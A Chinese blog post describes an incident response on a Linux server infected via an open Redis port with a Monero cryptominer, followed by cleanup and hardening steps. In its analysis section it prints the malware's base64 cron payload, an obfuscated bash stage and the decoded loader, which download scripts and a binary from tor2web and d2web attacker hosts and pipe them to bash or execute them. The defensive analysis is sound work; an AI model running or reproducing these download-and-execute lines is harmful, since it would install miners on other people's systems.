简介


  • 小伙伴们,大家好,今天分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用。
  • 这次遇到的是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币,行情走势请看 https://www.feixiaohao.com/currencies/monero,该病毒的特征是会占满你的CPU。
  • 该病毒的侵入方式是通过扫描主机的Redis端口,一般默认为6379,通过Redis命令将程序注入到你的主机,对的,没有设置密码的那种,我们的测试环境主机就因此中招。

病毒的发现和侦破


1.起初,收到cpu的报警信息,于是先登录到阿里云上,查看了该机器的情况,发现了注入命令

2.解决这种问题很简单,给redis增加认证,或不暴露redis的端口,清理 .ssh/authorized_keys 非法公钥,检查 /etc/ssh/sshd_config,确保 PasswordAuthentication no 密码认证是关闭的



3.登录服务器,使用 top 命令查看程序资源占用率



4.发现有一个程序资源占用率比较高,查看其进程pid,然后使用 pstree -H 18682 ,查看高亮的行;此步骤目的要看其父进程,以便找到其父进程,并将其杀掉



5.发现其父进程为系统正常进程,故使用命令 kill -9 18682 将该程序进程杀掉(可是过了一段时间,它又启动了,说明没有找到其守护进程)

6.查看 /etc 下定时任务中最近被改动过的文件 find /etc/cron* -type f -mtime -30

7.发现有文件被改动过,打开查看其中内容,看到有定时任务,打开定时任务执行的文件,如下



8.查看crontab,查看 /var/lib/corn/ 下定时任务,该目录下定时任务为所有用户的定时任务,查看定时任务的内容,查看定时任务执行文件的内容,如下



9.此两个文件内容完全一样,代码如下

#!/bin/bash
exec &>/dev/null
{echo,ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5kMndlYi5vcmcvY3Jvbi5zaCB8fCB3Z2V0IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoICl8YmFzaAo=}|{base64,-d}|bash

10.可以看出,该代码是通过base64编码的,解码后得到如下结果

echo ZXhlYyAmPi9kZXYvbnVsbApleHBvcnQgUEFUSD0kUEFUSDovYmluOi9zYmluOi91c3IvYmluOi91c3Ivc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL2xvY2FsL3NiaW4Kc2xlZXAgJCgoUkFORE9NICUgNjAwKSkKKHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLnRvcjJ3ZWIuaW8vY3Jvbi5zaCB8fCBjdXJsIC1mc1NMa0EtIHJhcGlkN2NwZnFud3hvZG8udG9yMndlYi5pby9jcm9uLnNoIHx8IHdnZXQgLXFVLSAtTy0gLS1uby1jaGVjay1jZXJ0aWZpY2F0ZSByYXBpZDdjcGZxbnd4b2RvLmQyd2ViLm9yZy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5kMndlYi5vcmcvY3Jvbi5zaCB8fCB3Z2V0IC1xVS0gLU8tIC0tbm8tY2hlY2stY2VydGlmaWNhdGUgcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoIHx8IGN1cmwgLWZzU0xrQS0gcmFwaWQ3Y3BmcW53eG9kby5vbmlvbi53cy9jcm9uLnNoICl8YmFzaAo= | base64 -d
exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
sleep $((RANDOM % 600))
(wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.io/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.io/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.d2web.org/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.d2web.org/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.ws/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.ws/cron.sh )|bash

11.通过分析,该代码的意思是,在十分钟内的随机时间执行从网上下载代码并送给bash执行

如图:



12.通过如下命令下载其从网络上下载的代码

wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.tor2web.io/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.tor2web.io/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.d2web.org/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.d2web.org/cron.sh || wget -qU- -O- --no-check-certificate rapid7cpfqnwxodo.onion.ws/cron.sh || curl -fsSLkA- rapid7cpfqnwxodo.onion.ws/cron.sh

13.获取代码如下

${!#}${*^} <<< "$(tD=(${@/Q+/9}\| 8 m \] S${*%%*} r q M u O H${@,} o"${@^}" \:${*} \."${@#^}" P x \; \!"${@}" 1${@,,} p${*%%V5} a${*//ct/E4} y \["${@#O}" t"${@/6}" 3${@##G} l${*^^} \+${@^} $'\12' T${@,,} \ ${*,,} U${!*} \)"$@" \$${*%%r} w${@/o} k${*//-\)} v \/"${@%H}" f${@//4/#*} h${*//\`n/=J} \( e s${*~} \- g"${@#GY}" 6 \> b \{"$@" d \& A X"${@%a}" 2"${@//_G}" i${*^^} \=${*##H|} n${@,,} c${*##u} \}$* L${*,});for eV in 40${@%xG} 15$@ 40 56${*} 29 49$* 45${@%%-\)} 36 48 40 35$@ 36 55 8 25${*/HB} 25${*^} 27 40${@,,} 15 19 11 5${@^} 23 29${@%%\"a} 14 50 28 10${*//o} 54 32 14${!*} 50${@,,} 28 10"${@,}" 12${*~~} 36${@#WI} 46${*,} 53 55${@^^} 12${!@} 36"${@,}" 41 46${*//6/\}O} 53${*%%2i} 55 12 36 8 41${@,,} 5 36${*%h_} 46 53${*%M5} 55 12 36${!*} 8 41 5${*##b2} 36 41 46${*#Y} 53"${@~}" 55 12 36${@%H} 8${*##hc} 41 5${@,} 36 25${*##Y} 11 56"${@/;*/\)}" 20"${@//U/8}" 25 36 46"${@,}" 53${*,} 55 12 36$* 8 41${*,,} 5${*#:>} 36"$@" 25 11${*} 56 20$* 25"${@%N}" 36${*~} 41 46 53 55${@//p7/-$} 27 27 48 39 31 29 47${*~~} 27${!*} 29${*^^} 29${*^^} 29 29${*/|} 15${!*} 54"${@//Z;/+\(}" 36 41${*^^} 21${*^} 41 23${*,,} 40${*%,} 2${*~} 48 42${@//l} 25 11${*} 43 53${*^^} 55 27 29${*,,} 29${@//o} 29 29 21 54${*~} 36${*,} 23${*//nC} 2"${@%%l}" 19${*%%lF} 36${*,,} 32${*^} 39${*/-L/s} 56${!*} 20${*^^} 23 29"${@,,}" 36 48"${@//1/|\[}" 40"${@//~P}" 35 36 8${@,} 5 20"${@~~}" 55 48 11 2${*~} 29 0${*##+l} 29$* 23${*##X} 5${!@} 29 42 56${!*} 48${@} 29 22${!@} 12"${@/y}" 20${@/lk} 25 55"${@^}" 8 2 12 3 0 38 40"${@%%t}" 20 48 29"${@~}" 42${*~~} 56 29${*/N9} 44$* 31${*^^} 27 29${@^^} 29${*^^} 29"${@^}" 29 33"${@%%$\)}" 43${*%4} 40 23"${@//bg}" 29${*^^} 42 6 30${*/\`M} 42 29"${@~~}" 42 42 55 11 42"${@/Y/RP}" 56${*^^} 38 40${*,} 56"${@~}" 34${@//</\}} 42 56 40"$@" 5"${@//v/5}" 23${*#l\(} 53${*,,} 37${@^^} 53${@%8b} 56${*%%z} 20 23 40$* 29"${@/>}" 32 18${@/d} 32${*%%\)} 15${*#a} 29"${@//&/S}" 42"${@/<j}" 9${*,,} 32 21${*%5} 29 0${*,} 0 29 56${*^^} 8${@//G/|} 5${@%%\[2} 25${*,} 29 42$@ 37${@} 41 4${*^^} 58${*%%b\(} 34"${@,}" 50${*^} 42${*/\[} 29 32 18 32 15${@//HB} 29 42 11 32 21 27 29 29 29${@//x} 29 56${@,} 38 2 11${*^} 48${@//*q/X} 29 26 15${*,,} 29${*#@v} 32${*^} 21$@ 16 32 21"${@}" 27${*,} 29 29 29"$@" 29${*//U3} 41 25${@,} 40"${@/L}" 40 19 29 1$* 27${*//=} 57${*##J} 27${@//>+/:>} 27 53 37${@~~} 29${@##=\\} 17${@^^} 29"${@//Oi/$g}" 19${*,} 41${*/JV} 29 42 19 29"$@" 32${*##ZP} 39 56 20 23${*//4/U#} 29 36${@%%N} 23 2 19 36 13"${@,}" 51${@/k} 18$* 7${!*} 42 8 55${*##I} 53${@##:,} 15"${@/\]}" 31 16 29${*^} 23"${@//bT/K}" 38${@##d} 40"${@,,}" 55${@//hz} 27${*,,} 29 29 29"${@//45}" 29${*^^} 48 29"${@%%H2}" 20 19${@} 23 43${*#O} 40 23${!*} 43${@//q/jO} 15 6${*/\)} 41 24${*/@j/$^} 41"${@,,}" 40${*} 56"${@%%Y\(}" 48 20 13"${@~}" 48 52 33${*/4%/tm} 40"${@%D}" 46 13 11${@/1} 5 43 29 0${!*} 0 29"$@" 48 29${*/Q\[} 20 19"${@%=}" 23 43${@//L2} 40${@,,} 23 43${@/L/Q} 15$* 6${*^^} 41${*//\\/6} 24 41${@~~} 40${*#7,} 56 48${*,} 20"${@,,}" 13${@~~} 23 11${*,} 5${!@} 52${*#@} 33 40${*^} 46 13 53${!*} 11 27 37 53 27${@^^};do printf %s "${tD["${@,,}"$eV$@]}"${*~};done;${!@})"${*%Y9}

14.查看代码末尾有 do done 等关键字,这应该是个循环语句,于是将上上述代码放到文件中,命名为 code.sh,使用 cat code.sh | bash -x 单步执行脚本,记录执行日志



15.删除掉多余干扰部分,得到如下代码

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
x=/systemd-login
y=/tmp/$(cat /dev/urandom | tr -cd [:alnum:]|head -c 6)
wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
chmod +x $y;$y
sleep 8
}
if ! ps -p $(cat /tmp/.X1M-unix); then
d aptgetgxqs3secda.d2web.org || d aptgetgxqs3secda.tor2web.io
fi

16.上述代码意思很明确,其会检测其守护进程pid是否存在,不存在就下载 aptgetgxqs3secda.d2web.org/systemd-loginaptgetgxqs3secda.tor2web.io/systemd-login 生成一个随机名称到/tmp目录下,并启动该程序,/tmp/.X1M-unix其中存放的就守护进程的 pid,将相应的pid kill掉,注释掉相关定时任务,删掉病毒程序,发现病毒程序便不会再启动了

17.进一步分析,其下载的病毒内容,通过其命令下载可执行程序

wget -qU- --no-check-certificate aptgetgxqs3secda.d2web.org/systemd-login -O/tmp/virus

18.查看下载文件的内容发现是编译后的二进制可执行程序,于是通过 hexdump -C virus > virus.txt 反编译,查看反编译内容如下

19.其中还有 在反编译的文件中,找到了 monero(门罗币的项目名称)的字眼,故判断为门罗币的挖矿程序

20.至此,成功侦破

病毒清理的总结


  • 从以上病毒的发现和侦破过程可以看出,安全问题的关键在预防,尽可能少的暴露端口,减少被攻击的风险;
  • 这里介绍一种极端的安全方法,就是整片云只提供ssh的访问端口22(更极端的方式,一个不留,将22端口通过SLB代理到一台主机上做跳板,即为 Jumpserver中网域 的方式,采用全内网地址访问)、业务端口和OpenVPN的UDP端口,设置OpenVPN + OpenLDAP的方式限制内网访问;
  • 如此,便实现了只有拨通OpenVPN的用户才能实现云内网的访问,避免了普通攻击的可能性(无法避免业务端攻击);

  • 另外,可以看出该病毒程序采用各种伪装手段,如加密代码,伪装代码,exec隐藏守护进程,最终是为了占用你cpu资源,如果不是这样,当重要机密的业务系统遭遇该攻击就会造成重大损失了
  • 对于该类型的病毒,将处理步骤总结如下:
  1. 异常为加密的应用端口暴露,如Redis,如果有,关闭或加密码认证
  2. 查看ssh认证是否被插入了其他公钥,如果有,清除掉
  3. 是否被开启了密码认证,如果有,关掉,重启服务
  4. top命令查找占用资源较多的进程PID
  5. 通过pstree -H PID 查看高亮部分,查看其父进程;
  6. 如果父进程可疑,可进入到/proc/PID/目录下查看该程序的执行命令,并通过kill 掉其父进程
  7. 查看近期被修改的定时任务 find /etc/cron* -type f -mtime -30
  8. 查看crontab,查看 /var/lib/corn 下所有用户的定时任务,是否有异常条目
  9. 分析定时任务内容,按图索骥,查找到其守护进程
  10. 清除掉相关的定时任务,清除掉定时任务中可执行文件
  11. 定时任务中如果是正常命令,可能为篡改命令,通过m5dsum COMMAND和正常机器命令对比,更新命令
  12. kill掉病毒pid和其可疑父进程pid; kill -9 PID PPID

参考文档


  1. shell中exec解析: https://www.cnblogs.com/zhaoyl/archive/2012/07/07/2580749.html

Virus:病毒查杀的更多相关文章

  1. android146 360 病毒查杀

    <?xml version="1.0" encoding="utf-8"?> <LinearLayout xmlns:android=&quo ...

  2. 028 Android 旋转动画+病毒查杀效果+自定义样式的ProgressBar

    1.目标效果 旋转动画+病毒查杀效果 2.xml布局文件 (1)activity_kill_virus.xml <?xml version="1.0" encoding=&q ...

  3. Linux服务器感染kerberods病毒 | 挖矿病毒查杀及分析 | (curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh)

    概要: 一.症状及表现 二.查杀方法 三.病毒分析 四.安全防护 五.参考文章 一.症状及表现 1.CPU使用率异常,top命令显示CPU统计数数据均为0,利用busybox 查看CPU占用率之后,发 ...

  4. Linux十字病毒查杀处理

    之前处理过一次十字病毒,但未好好整理处理过程,现在转载一篇来自51cto的文章. 转自:http://blog.51cto.com/ixdba/2163018 十字符病毒,杀不死的小强,一次云服务器沦 ...

  5. 安装ClamAV对centos系统进行病毒查杀

    安装ClamAV 1.安装epel源 yum install epel-release 在安装了EPEL源后,运行下面的命令安装ClamAV # yum install clamav-server c ...

  6. Centos6 服务器病毒查杀命令历史

    top whereis vhowazeclu ll /usr/bin/v* more /usr/bin/vhowazeclu ps aux|grep vhowa ps aux|grep vhowaze ...

  7. i春秋手动病毒查杀

    1:查看系统进程程   tasklist命令 2:当任务管理器无法打开的时候可以利用 taskkill /f /im [程序所显示的pid]   两个参数的意思分别是强制和程序在内存中的印象 3:ms ...

  8. 病毒木马查杀实战第010篇:QQ盗号木马之十六进制代码分析

    前言 按照我的个人习惯,在运用诸如IDA Pro与OllyDBG对病毒进行逆向分析之前,我都会利用一些自动化的工具,通过静态或动态的分析方法(参见<病毒木马查杀第008篇:熊猫烧香之病毒查杀总结 ...

  9. 病毒木马查杀实战第009篇:QQ盗号木马之手动查杀

    前言 之前在<病毒木马查杀第002篇:熊猫烧香之手动查杀>中,我在不借助任何工具的情况下,基本实现了对于"熊猫烧香"病毒的查杀.但是毕竟"熊猫烧香" ...

随机推荐

  1. Excel获取当前日期和时间

    在Excel中获取当前时间 1.第一种在空的单元格内输入函数“NOW()”回车即可获取当前时间如图 2.第二种选中空单元格“按住CTRL+:”回车即可获取当前时间 3.第一种在空的单元格内输入函数“t ...

  2. Qt中设置窗口图标

    转:https://blog.csdn.net/weiren2006/article/details/7438028 1.通过qtcreator新建一个文件filename.qrc,将图片添加到fil ...

  3. oop(面向对象语言的三大特征):封装,继承,多态; (抽象),函数绑定

    封装/隐藏 : 通过类的访问限定符实现的   private    public 继承的意义之一:代码的复用 类的继承是指在一个现有类的基础上去构建一个新的类,构造出来的新类被称为派生类(子类),现有 ...

  4. python对象的初始化

    效果图: 代码: # 对象的初始化 class Person: # 在类中可以定义一些特殊方法(魔术方法) # 特殊方法都是以__开头,__结尾的方法 前后都是两个下划线 # 特殊方法会在特殊的时刻自 ...

  5. Java 基础(三)| IO流之使用 File 类的正确姿势

    为跳槽面试做准备,今天开始进入 Java 基础的复习.希望基础不好的同学看完这篇文章,能掌握泛型,而基础好的同学权当复习,希望看完这篇文章能够起一点你的青涩记忆. 一.什么是 File 类? java ...

  6. 《C# 爬虫 破境之道》:第二境 爬虫应用 — 第三节:处理压缩数据

    续上一节内容,本节主要讲解一下Web压缩数据的处理方法. 在HTTP协议中指出,可以通过对内容压缩来减少网络流量,从而提高网络传输的性能. 那么问题来了,在HTTP中,采用的是什么样的压缩格式和机制呢 ...

  7. 加老板qq:804691342一起交流学习 致读者的话:曾经的我们很年少,现在我们要为理想的路疯狂的走下去。

    慕课网 实战班 就业班 2019年12月1号 更新资料整理 300套 新更课程 百度网盘资料链接: 链接:https://pan.baidu.com/s/1qORPsgM6ukDPOSjU5ck5yA ...

  8. 如何使用F4的IRAM2内存

    在使用KEIL做F4的项目的时候发现RAM区有片上IRAM2选项,查了datesheet后发现这块是CCM内存区 CCM内存是在地址0x1000000映射的64KB块,只提供CPU通过数据D总线进行访 ...

  9. 死磕面试 - Dubbo基础知识37问(必须掌握)

    作为一个JAVA工程师,出去项目拿20k薪资以上,dubbo绝对是面试必问的,即使你对dubbo在项目架构上的作用不了解,但dubbo的基础知识也必须掌握. 整理分享一些面试中常会被问到的dubbo基 ...

  10. importlib 根据字符串导入模块

    应用: Django中间件,rest framework 组件的全局配置文件 import importlib path = "abc.def.foo" module_path,c ...